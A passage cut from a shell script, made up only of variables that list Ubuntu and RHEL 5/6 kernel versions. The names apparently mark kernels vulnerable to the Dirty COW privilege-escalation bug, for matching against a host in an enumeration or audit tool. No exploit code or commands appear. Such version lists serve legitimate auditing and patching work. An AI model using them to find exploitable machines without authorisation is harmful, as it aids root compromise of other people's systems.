ae|3.2.0-33-virtual|3.2.0-34-generic|3.2.0-34-generic-pae|3.2.0-34-virtual|3.2.0-35-generic|3.2.0-35-generic-pae|3.2.0-35-lowlatency|3.2.0-35-lowlatency-pae|3.2.0-35-virtual" +kernelDCW_Ubuntu_Precise_3="3.2.0-36-generic|3.2.0-36-generic-pae|3.2.0-36-lowlatency|3.2.0-36-lowlatency-pae|3.2.0-36-virtual|3.2.0-37-generic|3.2.0-37-generic-pae|3.2.0-37-lowlatency|3.2.0-37-lowlatency-pae|3.2.0-37-virtual|3.2.0-38-generic|3.2.0-38-generic-pae|3.2.0-38-lowlatency|3.2.0-38-lowlatency-pae|3.2.0-38-virtual|3.2.0-39-generic|3.2.0-39-generic-pae|3.2.0-39-lowlatency|3.2.0-39-lowlatency-pae|3.2.0-39-virtual|3.2.0-40-generic|3.2.0-40-generic-pae|3.2.0-40-lowlatency|3.2.0-40-lowlatency-pae|3.2.0-40-virtual|3.2.0-41-generic|3.2.0-41-generic-pae|3.2.0-41-lowlatency|3.2.0-41-lowlatency-pae|3.2.0-41-virtual|3.2.0-43-generic|3.2.0-43-generic-pae|3.2.0-43-virtual|3.2.0-44-generic|3.2.0-44-generic-pae|3.2.0-44-lowlatency|3.2.0-44-lowlatency-pae|3.2.0-44-virtual|3.2.0-45-generic|3.2.0-45-generic-pae|3.2.0-45-virtual|3.2.0-48-generic|3.2.0-48-generic-pae|3.2.0-48-lowlatency|3.2.0-48-lowlatency-pae|3.2.0-48-virtual|3.2.0-51-generic|3.2.0-51-generic-pae|3.2.0-51-lowlatency|3.2.0-51-lowlatency-pae|3.2.0-51-virtual|3.2.0-52-generic|3.2.0-52-generic-pae|3.2.0-52-lowlatency|3.2.0-52-lowlatency-pae|3.2.0-52-virtual|3.2.0-53-generic" +kernelDCW_Ubuntu_Precise_4="3.2.0-53-generic-pae|3.2.0-53-lowlatency|3.2.0-53-lowlatency-pae|3.2.0-53-virtual|3.2.0-54-generic|3.2.0-54-generic-pae|3.2.0-54-lowlatency|3.2.0-54-lowlatency-pae|3.2.0-54-virtual|3.2.0-55-generic|3.2.0-55-generic-pae|3.2.0-55-lowlatency|3.2.0-55-lowlatency-pae|3.2.0-55-virtual|3.2.0-56-generic|3.2.0-56-generic-pae|3.2.0-56-lowlatency|3.2.0-56-lowlatency-pae|3.2.0-56-virtual|3.2.0-57-generic|3.2.0-57-generic-pae|3.2.0-57-lowlatency|3.2.0-57-lowlatency-pae|3.2.0-57-virtual|3.2.0-58-generic|3.2.0-58-generic-pae|3.2.0-58-lowlatency|3.2.0-58-lowlatency-pae|3.2.0-58-virtual|3.2.0-59-generic|3.2.0-59-generic-pae|3.2.0-59-lowlatency|3.2.0-59-lowlatency-pae|3.2.0-59-virtual|3.2.0-60-generic|3.2.0-60-generic-pae|3.2.0-60-lowlatency|3.2.0-60-lowlatency-pae|3.2.0-60-virtual|3.2.0-61-generic|3.2.0-61-generic-pae|3.2.0-61-virtual|3.2.0-63-generic|3.2.0-63-generic-pae|3.2.0-63-lowlatency|3.2.0-63-lowlatency-pae|3.2.0-63-virtual|3.2.0-64-generic|3.2.0-64-generic-pae|3.2.0-64-lowlatency|3.2.0-64-lowlatency-pae|3.2.0-64-virtual|3.2.0-65-generic|3.2.0-65-generic-pae|3.2.0-65-lowlatency|3.2.0-65-lowlatency-pae|3.2.0-65-virtual|3.2.0-67-generic|3.2.0-67-generic-pae|3.2.0-67-lowlatency|3.2.0-67-lowlatency-pae|3.2.0-67-virtual|3.2.0-68-generic" +kernelDCW_Ubuntu_Precise_5="3.2.0-68-generic-pae|3.2.0-68-lowlatency|3.2.0-68-lowlatency-pae|3.2.0-68-virtual|3.2.0-69-generic|3.2.0-69-generic-pae|3.2.0-69-lowlatency|3.2.0-69-lowlatency-pae|3.2.0-69-virtual|3.2.0-70-generic|3.2.0-70-generic-pae|3.2.0-70-lowlatency|3.2.0-70-lowlatency-pae|3.2.0-70-virtual|3.2.0-72-generic|3.2.0-72-generic-pae|3.2.0-72-lowlatency|3.2.0-72-lowlatency-pae|3.2.0-72-virtual|3.2.0-73-generic|3.2.0-73-generic-pae|3.2.0-73-lowlatency|3.2.0-73-lowlatency-pae|3.2.0-73-virtual|3.2.0-74-generic|3.2.0-74-generic-pae|3.2.0-74-lowlatency|3.2.0-74-lowlatency-pae|3.2.0-74-virtual|3.2.0-75-generic|3.2.0-75-generic-pae|3.2.0-75-lowlatency|3.2.0-75-lowlatency-pae|3.2.0-75-virtual|3.2.0-76-generic|3.2.0-76-generic-pae|3.2.0-76-lowlatency|3.2.0-76-lowlatency-pae|3.2.0-76-virtual|3.2.0-77-generic|3.2.0-77-generic-pae|3.2.0-77-lowlatency|3.2.0-77-lowlatency-pae|3.2.0-77-virtual|3.2.0-79-generic|3.2.0-79-generic-pae|3.2.0-79-lowlatency|3.2.0-79-lowlatency-pae|3.2.0-79-virtual|3.2.0-80-generic|3.2.0-80-generic-pae|3.2.0-80-lowlatency|3.2.0-80-lowlatency-pae|3.2.0-80-virtual|3.2.0-82-generic|3.2.0-82-generic-pae|3.2.0-82-lowlatency|3.2.0-82-lowlatency-pae|3.2.0-82-virtual|3.2.0-83-generic|3.2.0-83-generic-pae|3.2.0-83-virtual|3.2.0-84-generic" +kernelDCW_Ubuntu_Precise_6="3.2.0-84-generic-pae|3.2.0-84-virtual|3.2.0-85-generic|3.2.0-85-generic-pae|3.2.0-85-virtual|3.2.0-86-generic|3.2.0-86-generic-pae|3.2.0-86-virtual|3.2.0-87-generic|3.2.0-87-generic-pae|3.2.0-87-virtual|3.2.0-88-generic|3.2.0-88-generic-pae|3.2.0-88-virtual|3.2.0-89-generic|3.2.0-89-generic-pae|3.2.0-89-virtual|3.2.0-90-generic|3.2.0-90-generic-pae|3.2.0-90-virtual|3.2.0-91-generic|3.2.0-91-generic-pae|3.2.0-91-virtual|3.2.0-92-generic|3.2.0-92-generic-pae|3.2.0-92-virtual|3.2.0-93-generic|3.2.0-93-generic-pae|3.2.0-93-virtual|3.2.0-94-generic|3.2.0-94-generic-pae|3.2.0-94-virtual|3.2.0-95-generic|3.2.0-95-generic-pae|3.2.0-95-virtual|3.2.0-96-generic|3.2.0-96-generic-pae|3.2.0-96-virtual|3.2.0-97-generic|3.2.0-97-generic-pae|3.2.0-97-virtual|3.2.0-98-generic|3.2.0-98-generic-pae|3.2.0-98-virtual|3.2.0-99-generic|3.2.0-99-generic-pae|3.2.0-99-virtual|3.5.0-40-generic|3.5.0-41-generic|3.5.0-42-generic|3.5.0-43-generic|3.5.0-44-generic|3.5.0-45-generic|3.5.0-46-generic|3.5.0-49-generic|3.5.0-51-generic|3.5.0-52-generic|3.5.0-54-generic|3.8.0-19-generic|3.8.0-21-generic|3.8.0-22-generic|3.8.0-23-generic|3.8.0-27-generic|3.8.0-29-generic|3.8.0-30-generic|3.8.0-31-generic|3.8.0-32-generic|3.8.0-33-generic|3.8.0-34-generic|3.8.0-35-generic|3.8.0-36-generic|3.8.0-37-generic|3.8.0-38-generic|3.8.0-39-generic|3.8.0-41-generic|3.8.0-42-generic" +kernelDCW_Ubuntu_Trusty_1="3.13.0-24-generic|3.13.0-24-generic-lpae|3.13.0-24-lowlatency|3.13.0-24-powerpc-e500|3.13.0-24-powerpc-e500mc|3.13.0-24-powerpc-smp|3.13.0-24-powerpc64-emb|3.13.0-24-powerpc64-smp|3.13.0-27-generic|3.13.0-27-lowlatency|3.13.0-29-generic|3.13.0-29-lowlatency|3.13.0-3-exynos5|3.13.0-30-generic|3.13.0-30-lowlatency|3.13.0-32-generic|3.13.0-32-lowlatency|3.13.0-33-generic|3.13.0-33-lowlatency|3.13.0-34-generic|3.13.0-34-lowlatency|3.13.0-35-generic|3.13.0-35-lowlatency|3.13.0-36-generic|3.13.0-36-lowlatency|3.13.0-37-generic|3.13.0-37-lowlatency|3.13.0-39-generic|3.13.0-39-lowlatency|3.13.0-40-generic|3.13.0-40-lowlatency|3.13.0-41-generic|3.13.0-41-lowlatency|3.13.0-43-generic|3.13.0-43-lowlatency|3.13.0-44-generic|3.13.0-44-lowlatency|3.13.0-46-generic|3.13.0-46-lowlatency|3.13.0-48-generic|3.13.0-48-lowlatency|3.13.0-49-generic|3.13.0-49-lowlatency|3.13.0-51-generic|3.13.0-51-lowlatency|3.13.0-52-generic|3.13.0-52-lowlatency|3.13.0-53-generic|3.13.0-53-lowlatency|3.13.0-54-generic|3.13.0-54-lowlatency|3.13.0-55-generic|3.13.0-55-lowlatency|3.13.0-57-generic|3.13.0-57-lowlatency|3.13.0-58-generic|3.13.0-58-lowlatency|3.13.0-59-generic|3.13.0-59-lowlatency|3.13.0-61-generic|3.13.0-61-lowlatency|3.13.0-62-generic|3.13.0-62-lowlatency|3.13.0-63-generic|3.13.0-63-lowlatency|3.13.0-65-generic|3.13.0-65-lowlatency|3.13.0-66-generic|3.13.0-66-lowlatency" +kernelDCW_Ubuntu_Trusty_2="3.13.0-67-generic|3.13.0-67-lowlatency|3.13.0-68-generic|3.13.0-68-lowlatency|3.13.0-70-generic|3.13.0-70-lowlatency|3.13.0-71-generic|3.13.0-71-lowlatency|3.13.0-73-generic|3.13.0-73-lowlatency|3.13.0-74-generic|3.13.0-74-lowlatency|3.13.0-76-generic|3.13.0-76-lowlatency|3.13.0-77-generic|3.13.0-77-lowlatency|3.13.0-79-generic|3.13.0-79-lowlatency|3.13.0-83-generic|3.13.0-83-lowlatency|3.13.0-85-generic|3.13.0-85-lowlatency|3.13.0-86-generic|3.13.0-86-lowlatency|3.13.0-87-generic|3.13.0-87-lowlatency|3.13.0-88-generic|3.13.0-88-lowlatency|3.13.0-91-generic|3.13.0-91-lowlatency|3.13.0-92-generic|3.13.0-92-lowlatency|3.13.0-93-generic|3.13.0-93-lowlatency|3.13.0-95-generic|3.13.0-95-lowlatency|3.13.0-96-generic|3.13.0-96-lowlatency|3.13.0-98-generic|3.13.0-98-lowlatency|3.16.0-25-generic|3.16.0-25-lowlatency|3.16.0-26-generic|3.16.0-26-lowlatency|3.16.0-28-generic|3.16.0-28-lowlatency|3.16.0-29-generic|3.16.0-29-lowlatency|3.16.0-31-generic|3.16.0-31-lowlatency|3.16.0-33-generic|3.16.0-33-lowlatency|3.16.0-34-generic|3.16.0-34-lowlatency|3.16.0-36-generic|3.16.0-36-lowlatency|3.16.0-37-generic|3.16.0-37-lowlatency|3.16.0-38-generic|3.16.0-38-lowlatency|3.16.0-39-generic|3.16.0-39-lowlatency|3.16.0-41-generic|3.16.0-41-lowlatency|3.16.0-43-generic|3.16.0-43-lowlatency|3.16.0-44-generic|3.16.0-44-lowlatency|3.16.0-45-generic" +kernelDCW_Ubuntu_Trusty_3="3.16.0-45-lowlatency|3.16.0-46-generic|3.16.0-46-lowlatency|3.16.0-48-generic|3.16.0-48-lowlatency|3.16.0-49-generic|3.16.0-49-lowlatency|3.16.0-50-generic|3.16.0-50-lowlatency|3.16.0-51-generic|3.16.0-51-lowlatency|3.16.0-52-generic|3.16.0-52-lowlatency|3.16.0-53-generic|3.16.0-53-lowlatency|3.16.0-55-generic|3.16.0-55-lowlatency|3.16.0-56-generic|3.16.0-56-lowlatency|3.16.0-57-generic|3.16.0-57-lowlatency|3.16.0-59-generic|3.16.0-59-lowlatency|3.16.0-60-generic|3.16.0-60-lowlatency|3.16.0-62-generic|3.16.0-62-lowlatency|3.16.0-67-generic|3.16.0-67-lowlatency|3.16.0-69-generic|3.16.0-69-lowlatency|3.16.0-70-generic|3.16.0-70-lowlatency|3.16.0-71-generic|3.16.0-71-lowlatency|3.16.0-73-generic|3.16.0-73-lowlatency|3.16.0-76-generic|3.16.0-76-lowlatency|3.16.0-77-generic|3.16.0-77-lowlatency|3.19.0-20-generic|3.19.0-20-lowlatency|3.19.0-21-generic|3.19.0-21-lowlatency|3.19.0-22-generic|3.19.0-22-lowlatency|3.19.0-23-generic|3.19.0-23-lowlatency|3.19.0-25-generic|3.19.0-25-lowlatency|3.19.0-26-generic|3.19.0-26-lowlatency|3.19.0-28-generic|3.19.0-28-lowlatency|3.19.0-30-generic|3.19.0-30-lowlatency|3.19.0-31-generic|3.19.0-31-lowlatency|3.19.0-32-generic|3.19.0-32-lowlatency|3.19.0-33-generic|3.19.0-33-lowlatency|3.19.0-37-generic|3.19.0-37-lowlatency|3.19.0-39-generic|3.19.0-39-lowlatency|3.19.0-41-generic|3.19.0-41-lowlatency|3.19.0-42-generic" +kernelDCW_Ubuntu_Trusty_4="3.19.0-42-lowlatency|3.19.0-43-generic|3.19.0-43-lowlatency|3.19.0-47-generic|3.19.0-47-lowlatency|3.19.0-49-generic|3.19.0-49-lowlatency|3.19.0-51-generic|3.19.0-51-lowlatency|3.19.0-56-generic|3.19.0-56-lowlatency|3.19.0-58-generic|3.19.0-58-lowlatency|3.19.0-59-generic|3.19.0-59-lowlatency|3.19.0-61-generic|3.19.0-61-lowlatency|3.19.0-64-generic|3.19.0-64-lowlatency|3.19.0-65-generic|3.19.0-65-lowlatency|3.19.0-66-generic|3.19.0-66-lowlatency|3.19.0-68-generic|3.19.0-68-lowlatency|3.19.0-69-generic|3.19.0-69-lowlatency|3.19.0-71-generic|3.19.0-71-lowlatency|3.4.0-5-chromebook|4.2.0-18-generic|4.2.0-18-lowlatency|4.2.0-19-generic|4.2.0-19-lowlatency|4.2.0-21-generic|4.2.0-21-lowlatency|4.2.0-22-generic|4.2.0-22-lowlatency|4.2.0-23-generic|4.2.0-23-lowlatency|4.2.0-25-generic|4.2.0-25-lowlatency|4.2.0-27-generic|4.2.0-27-lowlatency|4.2.0-30-generic|4.2.0-30-lowlatency|4.2.0-34-generic|4.2.0-34-lowlatency|4.2.0-35-generic|4.2.0-35-lowlatency|4.2.0-36-generic|4.2.0-36-lowlatency|4.2.0-38-generic|4.2.0-38-lowlatency|4.2.0-41-generic|4.2.0-41-lowlatency|4.4.0-21-generic|4.4.0-21-lowlatency|4.4.0-22-generic|4.4.0-22-lowlatency|4.4.0-24-generic|4.4.0-24-lowlatency|4.4.0-28-generic|4.4.0-28-lowlatency|4.4.0-31-generic|4.4.0-31-lowlatency|4.4.0-34-generic|4.4.0-34-lowlatency|4.4.0-36-generic|4.4.0-36-lowlatency|4.4.0-38-generic|4.4.0-38-lowlatency|4.4.0-42-generic|4.4.0-42-lowlatency" +kernelDCW_Ubuntu_Xenial="4.4.0-1009-raspi2|4.4.0-1012-snapdragon|4.4.0-21-generic|4.4.0-21-generic-lpae|4.4.0-21-lowlatency|4.4.0-21-powerpc-e500mc|4.4.0-21-powerpc-smp|4.4.0-21-powerpc64-emb|4.4.0-21-powerpc64-smp|4.4.0-22-generic|4.4.0-22-lowlatency|4.4.0-24-generic|4.4.0-24-lowlatency|4.4.0-28-generic|4.4.0-28-lowlatency|4.4.0-31-generic|4.4.0-31-lowlatency|4.4.0-34-generic|4.4.0-34-lowlatency|4.4.0-36-generic|4.4.0-36-lowlatency|4.4.0-38-generic|4.4.0-38-lowlatency|4.4.0-42-generic|4.4.0-42-lowlatency" +kernelDCW_Rhel5_1="2.6.24.7-74.el5rt|2.6.24.7-81.el5rt|2.6.24.7-93.el5rt|2.6.24.7-101.el5rt|2.6.24.7-108.el5rt|2.6.24.7-111.el5rt|2.6.24.7-117.el5rt|2.6.24.7-126.el5rt|2.6.24.7-132.el5rt|2.6.24.7-137.el5rt|2.6.24.7-139.el5rt|2.6.24.7-146.el5rt|2.6.24.7-149.el5rt|2.6.24.7-161.el5rt|2.6.24.7-169.el5rt|2.6.33.7-rt29.45.el5rt|2.6.33.7-rt29.47.el5rt|2.6.33.7-rt29.55.el5rt|2.6.33.9-rt31.64.el5rt|2.6.33.9-rt31.67.el5rt|2.6.33.9-rt31.86.el5rt|2.6.18-8.1.1.el5|2.6.18-8.1.3.el5|2.6.18-8.1.4.el5|2.6.18-8.1.6.el5|2.6.18-8.1.8.el5|2.6.18-8.1.10.el5|2.6.18-8.1.14.el5|2.6.18-8.1.15.el5|2.6.18-53.el5|2.6.18-53.1.4.el5|2.6.18-53.1.6.el5|2.6.18-53.1.13.el5|2.6.18-53.1.14.el5|2.6.18-53.1.19.el5|2.6.18-53.1.21.el5|2.6.18-92.el5|2.6.18-92.1.1.el5|2.6.18-92.1.6.el5|2.6.18-92.1.10.el5|2.6.18-92.1.13.el5|2.6.18-92.1.18.el5|2.6.18-92.1.22.el5|2.6.18-92.1.24.el5|2.6.18-92.1.26.el5|2.6.18-92.1.27.el5|2.6.18-92.1.28.el5|2.6.18-92.1.29.el5|2.6.18-92.1.32.el5|2.6.18-92.1.35.el5|2.6.18-92.1.38.el5|2.6.18-128.el5|2.6.18-128.1.1.el5|2.6.18-128.1.6.el5|2.6.18-128.1.10.el5|2.6.18-128.1.14.el5|2.6.18-128.1.16.el5|2.6.18-128.2.1.el5|2.6.18-128.4.1.el5|2.6.18-128.4.1.el5|2.6.18-128.7.1.el5|2.6.18-128.8.1.el5|2.6.18-128.11.1.el5|2.6.18-128.12.1.el5|2.6.18-128.14.1.el5|2.6.18-128.16.1.el5|2.6.18-128.17.1.el5|2.6.18-128.18.1.el5|2.6.18-128.23.1.el5|2.6.18-128.23.2.el5|2.6.18-128.25.1.el5|2.6.18-128.26.1.el5|2.6.18-128.27.1.el5" +kernelDCW_Rhel5_2="2.6.18-128.29.1.el5|2.6.18-128.30.1.el5|2.6.18-128.31.1.el5|2.6.18-128.32.1.el5|2.6.18-128.35.1.el5|2.6.18-128.36.1.el5|2.6.18-128.37.1.el5|2.6.18-128.38.1.el5|2.6.18-128.39.1.el5|2.6.18-128.40.1.el5|2.6.18-128.41.1.el5|2.6.18-164.el5|2.6.18-164.2.1.el5|2.6.18-164.6.1.el5|2.6.18-164.9.1.el5|2.6.18-164.10.1.el5|2.6.18-164.11.1.el5|2.6.18-164.15.1.el5|2.6.18-164.17.1.el5|2.6.18-164.19.1.el5|2.6.18-164.21.1.el5|2.6.18-164.25.1.el5|2.6.18-164.25.2.el5|2.6.18-164.28.1.el5|2.6.18-164.30.1.el5|2.6.18-164.32.1.el5|2.6.18-164.34.1.el5|2.6.18-164.36.1.el5|2.6.18-164.37.1.el5|2.6.18-164.38.1.el5|2.6.18-194.el5|2.6.18-194.3.1.el5|2.6.18-194.8.1.el5|2.6.18-194.11.1.el5|2.6.18-194.11.3.el5|2.6.18-194.11.4.el5|2.6.18-194.17.1.el5|2.6.18-194.17.4.el5|2.6.18-194.26.1.el5|2.6.18-194.32.1.el5|2.6.18-238.el5|2.6.18-238.1.1.el5|2.6.18-238.5.1.el5|2.6.18-238.9.1.el5|2.6.18-238.12.1.el5|2.6.18-238.19.1.el5|2.6.18-238.21.1.el5|2.6.18-238.27.1.el5|2.6.18-238.28.1.el5|2.6.18-238.31.1.el5|2.6.18-238.33.1.el5|2.6.18-238.35.1.el5|2.6.18-238.37.1.el5|2.6.18-238.39.1.el5|2.6.18-238.40.1.el5|2.6.18-238.44.1.el5|2.6.18-238.45.1.el5|2.6.18-238.47.1.el5|2.6.18-238.48.1.el5|2.6.18-238.49.1.el5|2.6.18-238.50.1.el5|2.6.18-238.51.1.el5|2.6.18-238.52.1.el5|2.6.18-238.53.1.el5|2.6.18-238.54.1.el5|2.6.18-238.55.1.el5|2.6.18-238.56.1.el5|2.6.18-274.el5|2.6.18-274.3.1.el5|2.6.18-274.7.1.el5|2.6.18-274.12.1.el5" +kernelDCW_Rhel5_3="2.6.18-274.17.1.el5|2.6.18-274.18.1.el5|2.6.18-308.el5|2.6.18-308.1.1.el5|2.6.18-308.4.1.el5|2.6.18-308.8.1.el5|2.6.18-308.8.2.el5|2.6.18-308.11.1.el5|2.6.18-308.13.1.el5|2.6.18-308.16.1.el5|2.6.18-308.20.1.el5|2.6.18-308.24.1.el5|2.6.18-348.el5|2.6.18-348.1.1.el5|2.6.18-348.2.1.el5|2.6.18-348.3.1.el5|2.6.18-348.4.1.el5|2.6.18-348.6.1.el5|2.6.18-348.12.1.el5|2.6.18-348.16.1.el5|2.6.18-348.18.1.el5|2.6.18-348.19.1.el5|2.6.18-348.21.1.el5|2.6.18-348.22.1.el5|2.6.18-348.23.1.el5|2.6.18-348.25.1.el5|2.6.18-348.27.1.el5|2.6.18-348.28.1.el5|2.6.18-348.29.1.el5|2.6.18-348.30.1.el5|2.6.18-348.31.2.el5|2.6.18-371.el5|2.6.18-371.1.2.el5|2.6.18-371.3.1.el5|2.6.18-371.4.1.el5|2.6.18-371.6.1.el5|2.6.18-371.8.1.el5|2.6.18-371.9.1.el5|2.6.18-371.11.1.el5|2.6.18-371.12.1.el5|2.6.18-398.el5|2.6.18-400.el5|2.6.18-400.1.1.el5|2.6.18-402.el5|2.6.18-404.el5|2.6.18-406.el5|2.6.18-407.el5|2.6.18-408.el5|2.6.18-409.el5|2.6.18-410.el5|2.6.18-411.el5|2.6.18-412.el5" +kernelDCW_Rhel6_1="2.6.33.9-rt31.66.el6rt|2.6.33.9-rt31.74.el6rt|2.6.33.9-rt31.75.el6rt|2.6.33.9-rt31.79.el6rt|3.0.9-rt26.45.el6rt|3.0.9-rt26.46.el6rt|3.0.18-rt34.53.el6rt|3.0.25-rt44.57.el6rt|3.0.30-rt50.62.el6rt|3.0.36-rt57.66.el6rt|3.2.23-rt37.56.el6rt|3.2.33-rt50.66.el6rt|3.6.11-rt28.20.el6rt|3.6.11-rt30.25.el6rt|3.6.11.2-rt33.39.el6rt|3.6.11.5-rt37.55.el6rt|3.8.13-rt14.20.el6rt|3.8.13-rt14.25.el6rt|3.8.13-rt27.33.el6rt|3.8.13-rt27.34.el6rt|3.8.13-rt27.40.el6rt|3.10.0-229.rt56.144.el6rt|3.10.0-229.rt56.147.el6rt|3.10.0-229.rt56.149.el6rt|3.10.0-229.rt56.151.el6rt|3.10.0-229.rt56.153.el6rt|3.10.0-229.rt56.158.el6rt|3.10.0-229.rt56.161.el6rt|3.10.0-229.rt56.162.el6rt|3.10.0-327.rt56.170.el6rt|3.10.0-327.rt56.171.el6rt|3.10.0-327.rt56.176.el6rt|3.10.0-327.rt56.183.el6rt|3.10.0-327.rt56.190.el6rt|3.10.0-327.rt56.194.el6rt|3.10.0-327.rt56.195.el6rt|3.10.0-327.rt56.197.el6rt|3.10.33-rt32.33.el6rt|3.10.33-rt32.34.el6rt|3.10.33-rt32.43.el6rt|3.10.33-rt32.45.el6rt|3.10.33-rt32.51.el6rt|3.10.33-rt32.52.el6rt|3.10.58-rt62.58.el6rt|3.10.58-rt62.60.el6rt|2.6.32-71.7.1.el6|2.6.32-71.14.1.el6|2.6.32-71.18.1.el6|2.6.32-71.18.2.el6|2.6.32-71.24.1.el6|2.6.32-71.29.1.el6|2.6.32-71.31.1.el6|2.6.32-71.34.1.el6|2.6.32-71.35.1.el6|2.6.32-71.36.1.el6|2.6.32-71.37.1.el6|2.6.32-71.38.1.el6|2.6.32-71.39.1.el6|2.6.32-71.40.1.el6|2.6.32-131.0.15.el6|2.6.32-131.2.1.el6|2.6.32-131.4.1.el6|2.6.32-131.6.1.el6|2.6.32-131.12.1.el6" +kernelDCW_Rhel6_2="2.6.32-131.17.1.el6|2.6.32-131.21.1.el6|2.6.32-131.22.1.el6|2.6.32-131.25.1.el6|2.6.32-131.26.1.el6|2.6.32-131.28.1.el6|2.6.32-131.29.1.el6|2.6.32-131.30.1.el6|2.6.32-131.30.2.el6|2.6.32-131.33.1.el6|2.6.32-131.35.1.el6|2.6.32-131.36.1.el6|2.6.32-131.37.1.el6|2.6.32-131.38.1.el6|2.6.32-131.39.1.el6|2.6.32-220.el6|2.6.32-220.2.1.el6|2.6.32-220.4.1.el6|2.6.32-220.4.2.el6|2.6.32-220.4.7.bgq.el6|2.6.32-220.7.1.el6|2.6.32-220.7.3.p7ih.el6|2.6.32-220.7.4.p7ih.el6|2.6.32-220.7.6.p7ih.el6|2.6.32-220.7.7.p7ih.el6|2.6.32-220.13.1.el6|2.6.32-220.17.1.el6|2.6.32-220.23.1.el6|2.6.32-220.24.1.el6|2.6.32-220.25.1.el6|2.6.32-220.26.1.el6|2.6.32-220.28.1.el6|2.6.32-220.30.1.el6|2.6.32-220.31.1.el6|2.6.32-220.32.1.el6|2.6.32-220.34.1.el6|2.6.32-220.34.2.el6|2.6.32-220.38.1.el6|2.6.32-220.39.1.el6|2.6.32-220.41.1.el6|2.6.32-220.42.1.el6|2.6.32-220.45.1.el6|2.6.32-220.46.1.el6|2.6.32-220.48.1.el6|2.6.32-220.51.1.el6|2.6.32-220.52.1.el6|2.6.32-220.53.1.el6|2.6.32-220.54.1.el6|2.6.32-220.55.1.el6|2.6.32-220.56.1.el6|2.6.32-220.57.1.el6|2.6.32-220.58.1.el6|2.6.32-220.60.2.el6|2.6.32-220.62.1.el6|2.6.32-220.63.2.el6|2.6.32-220.64.1.el6|2.6.32-220.65.1.el6|2.6.32-220.66.1.el6|2.6.32-220.67.1.el6|2.6.32-279.el6|2.6.32-279.1.1.el6|2.6.32-279.2.1.el6|2.6.32-279.5.1.el6|2.6.32-279.5.2.el6|2.6.32-279.9.1.el6|2.6.32-279.11.1.el6|2.6.32-279.14.1.bgq.el6|2.6.32-279.14.1.el6|2.6.32-279.19.1.el6|2.6.32-279.22.1.el6|2.6.32-279.23.1.el6|2.6.32-279.25.1.el6|2.6.32-279.25.2.el6|2.6.32-279.31.1.el6|2.6.32-279.33.1.el6|2.6.32-279.34.1.el6|2.6.32-279.37.2.el6|2.6.32-279.39.1.el6" +kernelDCW_Rhel6_3="2.6.32-279.41.1.el6|2.6.32-279.42.1.el6|2.6.32-279.43.1.el6|2.6.32-279.43.2.el6|2.6.32-279.46.1.el6|2.6.32-358.el6|2.6.32-358.0.1.el6|2.6.32-358.2.1.el6|2.6.32-358.6.1.el6|2.6.32-358.6.2.el6|2.6.32-358.6.3.p7ih.el6|2.6.32-358.11.1.bgq.el6|2.6.32-358.11.1.el6|2.6.32-358.14.1.el6|2.6.32-358.18.1.el6|2.6.32-358.23.2.el6|2.6.32-358.28.1.el6|2.6.32-358.32.3.el6|2.6.32-358.37.1.el6|2.6.32-358.41.1.el6|2.6.32-358.44.1.el6|2.6.32-358.46.1.el6|2.6.32-358.46.2.el6|2.6.32-358.48.1.el6|2.6.32-358.49.1.el6|2.6.32-358.51.1.el6|2.6.32-358.51.2.el6|2.6.32-358.55.1.el6|2.6.32-358.56.1.el6|2.6.32-358.59.1.el6|2.6.32-358.61.1.el6|2.6.32-358.62.1.el6|2.6.32-358.65.1.el6|2.6.32-358.67.1.el6|2.6.32-358.68.1.el6|2.6.32-358.69.1.el6|2.6.32-358.70.1.el6|2.6.32-358.71.1.el6|2.6.32-358.72.1.el6|2.6.32-358.73.1.el6|2.6.32-358.111.1.openstack.el6|2.6.32-358.114.1.openstack.el6|2.6.32-358.118.1.openstack.el6|2.6.32-358.123.4.openstack.el6|2.6.32-431.el6|2.6.32-431.1.1.bgq.el6|2.6.32-431.1.2.el6|2.6.32-431.3.1.el6|2.6.32-431.5.1.el6|2.6.32-431.11.2.el6|2.6.32-431.17.1.el6|2.6.32-431.20.3.el6|2.6.32-431.20.5.el6|2.6.32-431.23.3.el6|2.6.32-431.29.2.el6|2.6.32-431.37.1.el6|2.6.32-431.40.1.el6|2.6.32-431.40.2.el6|2.6.32-431.46.2.el6|2.6.32-431.50.1.el6|2.6.32-431.53.2.el6|2.6.32-431.56.1.el6|2.6.32-431.59.1.el6|2.6.32-431.61.2.el6|2.6.32-431.64.1.el6|2.6.32-431.66.1.el6|2.6.32-431.68.1.el6|2.6.32-431.69.1.el6|2.6.32-431.70.1.el6" +kernelDCW_Rhel6_4="2.6.32-431.71.1.el6|2.6.32-431.72.1.el6|2.6.32-431.73.2.el6|2.6.32-431.74.1.el6|2.6.32-504.el6|2.6.32-504.1.3.el6|2.6.32-504.3.3.el6|2.6.32-504.8.1.el6|2.6.32-504.8.2.bgq.el6|2.6.32-504.12.2.el6|2.6.32-504.16.2.el6|2.6.32-504.23.4.el6|2.6.32-504.30.3.el6|2.6.32-504.30.5.p7ih.el6|2.6.32-504.33.2.el6|2.6.32-504.36.1.el6|2.6.32-504.38.1.el6|2.6.32-504.40.1.el6|2.6.32-504.43.1.el6|2.6.32-504.46.1.el6|2.6.32-504.49.1.el6|2.6.32-504.50.1.el6|2.6.32-504.51.1.el6|2.6.32-504.52.1.el6|2.6.32-573.el6|2.6.32-573.1.1.el6|2.6.32-573.3.1.el6|2.6.32-573.4.2.bgq.el6|2.6.32-573.7.1.el6|2.6.32-573.8.1.el6|2.6.32-573.12.1.el6|2.6.32-573.18.1.el6|2.6.32-573.22.1.el6|2.6.32-573.26.1.el6|2.6.32-573.30.1.el6|2.6.32-573.32.1.el6|2.6.32-573.34.1.el6|2.6.32-642.el6|2.6.32-642.1.1.el6|2.6.32-642.3.1.el6|2.6.32-642.4.2.el6|2.6.32-642.6.1.el6" 